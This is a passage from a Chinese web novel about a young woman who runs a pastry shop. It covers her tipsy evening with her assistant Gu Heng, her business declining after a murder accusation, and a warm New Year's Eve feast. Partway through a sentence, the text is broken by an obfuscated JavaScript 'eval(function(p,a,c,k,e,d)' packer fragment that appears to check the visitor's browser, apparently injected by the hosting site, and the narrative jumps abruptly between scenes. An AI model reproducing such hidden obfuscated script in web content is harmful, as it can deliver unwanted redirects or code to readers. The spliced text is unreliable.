“好啦好啦,东家喝得够畅快了,不能再喝了。”银岚看着裴清梧微晃的身形,心下了知,笑着收走她面前的酒盏:“明日该头疼了。” 说着,她利落地收拾起桌上的杯盘碗盏,转头对安静守在一旁的顾恒嘱咐道:“小阿恒,东家有些醉了,你力气大,抱东家回房歇着吧,仔细些。” “是……”顾恒低声应下,心口莫名跳得有些快。 他起身,走到裴清梧身边,看着她难得孩子气的迷糊模样,深吸一口气,小心翼翼地俯身,一手揽过她的肩背,一手穿过她的膝弯,稍一用力,便将她稳稳地横抱起来。 裴清梧的身子很轻,带着酒气的温热呼吸拂过他的颈侧,那缕幽香混合着酒香,丝丝缕缕往他身上缠绕上来。 他脚步放得极轻,抱着她穿过堂屋,走进内室,然后将她轻轻放在铺着洁净细麻褥子的矮榻上。 正欲替她拉上薄被,怀中人似乎因姿势变动,而低低嘤咛了一声,无意识地靠向他坚实的臂膀,含糊地嘟囔了一句,声音带着醉酒后特有的软糯:“唔……阿恒,你好像壮实了好多啊……” 突如其来的亲昵低语,宛如一颗滚烫的小石子,猛地砸进顾恒心湖,激起千层涟漪。 他只觉得一股血气轰地涌上脸颊和耳根,使得这两个地方瞬间烫得惊人,动作滞在半空,手臂仿佛被灼了一下似的,变得无比僵硬。 他甚至不敢低头看她此刻的表情,呼吸停滞了一瞬,不知该怎么办了。 好在这个时候,银岚有事唤他,如同解脱了一般,几乎是夺路而逃。 “怎么了小阿恒,脸怎么这么红?”银岚疑惑道:“莫不是感染风寒了?” “没,没有……” 顾恒好容易把她糊弄了过去,趁她背过身洗碗的时候,努力鼓了一下胳膊,捏了捏上边的肌肉。 “真的壮实了不少吗?” 他这样想着,又捏了捏。 虽说赵使君还了裴清梧一个清白,她也是无罪释放,但毕竟出了人命,许多人心里犯起了嘀咕。 更有那本就多思的,心中已揣测到,莫不是这铺子的东家得罪了人,才招了这么一场祸事,万一背后之人不依不饶,下一次构陷的时候,挑着自己了怎么办。 是以,原本门庭若市的酥山小集,一下子冷清了下来。 每日茜桃守在柜台前,来客寥寥无几,这也罢了,甚至还有那等本订做了点心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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羹汤是银岚特地熬煮的应节羹汤七宝羹,以肉汤为底,加入了切丁的芜菁③、荠菜、百合、莲藕、栗子、豆腐和几片象征长寿的松蕈,羹汁浓稠,色彩缤纷,寓意吉祥。 点心则是蔗浆浇酥山,小巧玲珑的置于精致的琉璃盏中,洁白如玉,冒着丝丝冷气,茜桃提着温热的蔗浆壶,小心翼翼地浇淋其上,琥珀色的蔗汁流淌而下,包裹住冰凉的乳酪,对比绝妙。 一切准备就绪,裴清梧宣布开宴。 四人围坐食案,暖锅咕嘟,香气弥漫,裴清梧亲自执壶,为每人杯中斟满温热的屠苏酒,酒气微辛,混合着食物的暖香,让人心神俱醉。 “来!”裴清梧举起杯盏,脸颊被暖气和酒意熏染得绯红:“抛却旧岁烦忧事,且喜新春共此时,愿我们岁岁平安,事事顺遂!干杯!” “岁岁平安,事事顺遂!”茜桃、银岚、顾恒齐声应和,杯盏相碰,发出悦耳的叮咚声。 一时筷箸交错,笑语喧阗。 茜桃迫不及待地咬了一口煎得焦脆的牢丸,烫得直吸气,逗得大家发笑;银岚忙着为众人捞取暖锅中熟透的食材;顾恒则默默地将烤鹅腿上最肥美的一块,用干净箸子夹到了裴清梧面前的碟子里。 裴清梧尝了尝浇着蔗浆的酥山,冰凉清甜,瞬间抚慰了被暖锅炙热的肠胃,眼波流转间,正对上顾恒望过来的视线。 他正稳稳地操持着竹刀,为她细细片下鹅肉,清澈的眼眸映着琉璃灯火,少了平日的阴郁,多了几分安稳的暖意,只一眼便飞快垂落,耳根却又悄悄染上淡淡的红。 屋外寒风呼啸,积雪渐深。 屋内却是暖锅蒸腾,笑语盈盈,四人围炉夜话,分享着琐碎日常与对未来朦胧的期许,守候着旧岁的最后一刻。 窗棂上凝结的水珠缓缓滑落,映照着满室温馨暖融的光亮,仿佛将外界所有的风雪与算计都隔绝开来,只余下这一隅安稳团圆的净土。 裴清梧看着暖锅中跳跃的火苗,轻声道:“火这般旺,来年咱们的灶头,也必红红火火!”